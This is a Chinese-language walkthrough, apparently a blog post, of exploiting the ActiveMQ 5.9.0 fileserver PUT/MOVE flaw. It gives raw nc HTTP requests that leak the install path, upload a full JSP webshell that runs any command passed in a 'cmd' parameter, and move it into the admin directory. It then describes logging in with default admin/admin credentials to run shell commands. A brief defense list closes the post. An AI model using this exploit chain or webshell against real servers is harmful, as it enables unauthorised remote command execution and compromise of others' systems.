使用nc进行访问
1.获取activemq的部署路径
命令 nc -v 192.168.8.155 8161 aaa [192.168.8.155] 8161 (?) open PUT /fileserver/%20/%20 HTTP/1.1 Accept: application/json Connection: keep-alive Host: 192.168.8.155:8161 响应 HTTP/1.1 500 /home/soft/activemq-5.9.0/webapps/fileserver/ / (No such file or d irectory) Content-Length: 0 Server: Jetty(7.6.9.v20130131)
如上可以看出 mq部署路径为
/home/soft/activemq-5.9.0
2.上传文件
命令 nc -v 192.168.8.155 8161 aaa [192.168.8.155] 8161 (?) open PUT /fileserver/test3.txt HTTP/1.1 Host: 192.168.8.155:8161 Content-Length: 5 Content-Type: application/json ceshi 响应 HTTP/1.1 204 No Content Server: Jetty(7.6.9.v20130131)
可以看到服务器上已经存在一个名为test3.txt的文件,并且内容为ceshi
3.上传webshell文件ceshi.txt
<%@ page import="java.io.*"%> <% out.print("hello </br>"); String strcmd = request.getParameter("cmd"); String line = null; Process p = Runtime.getRuntime().exec(strcmd); BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream())); while((line = br.readLine())!=null){ out.print(line+"</br>"); } %>
怎么上传的这里不具体说明,如2
4.将ceshi.txt移动到具有执行权限的admin目录并更名为ceshi.jsp
nc 192.168.8.155 8161 MOVE /fileserver/ceshi.txt HTTP/1.1 Destination: file:///home/soft/activemq-5.9.0/webapps/admin/ceshi.jsp Host: 192.168.8.155:8161
5.最后访问
http://192.168.8.155:8161/admin/ceshi.jsp?cmd=ls
此时你会发现,需要登录。
如果ActiveMQ没有修改默认密码,就可以使用admin/admin登录
并执行linux命令如下图
总结:
源码可以自行查看漏洞产生原因
1.fileserver漏洞 PUT 与 MOVE 组成
2.ActiveMQ对jsp请求进行了登录校验,所以之前在上传文件时我使用ceshi.txt
在MOVE 文件时将后缀改为jsp.
3.ActiveMQ没有修改默认的登录名密码,使我可以正常访问webshell的jsp页面
至此可以执行shell命令。
防御:具体的可以去查资料
服务器防火墙限制8161端口访问。
修改ActiveMQ默认的登录密码。
升级MQ版本至5.14及以上。
如不使用fileserver服务,请关闭该服务
其他等等
乐享:知识积累,快乐无限。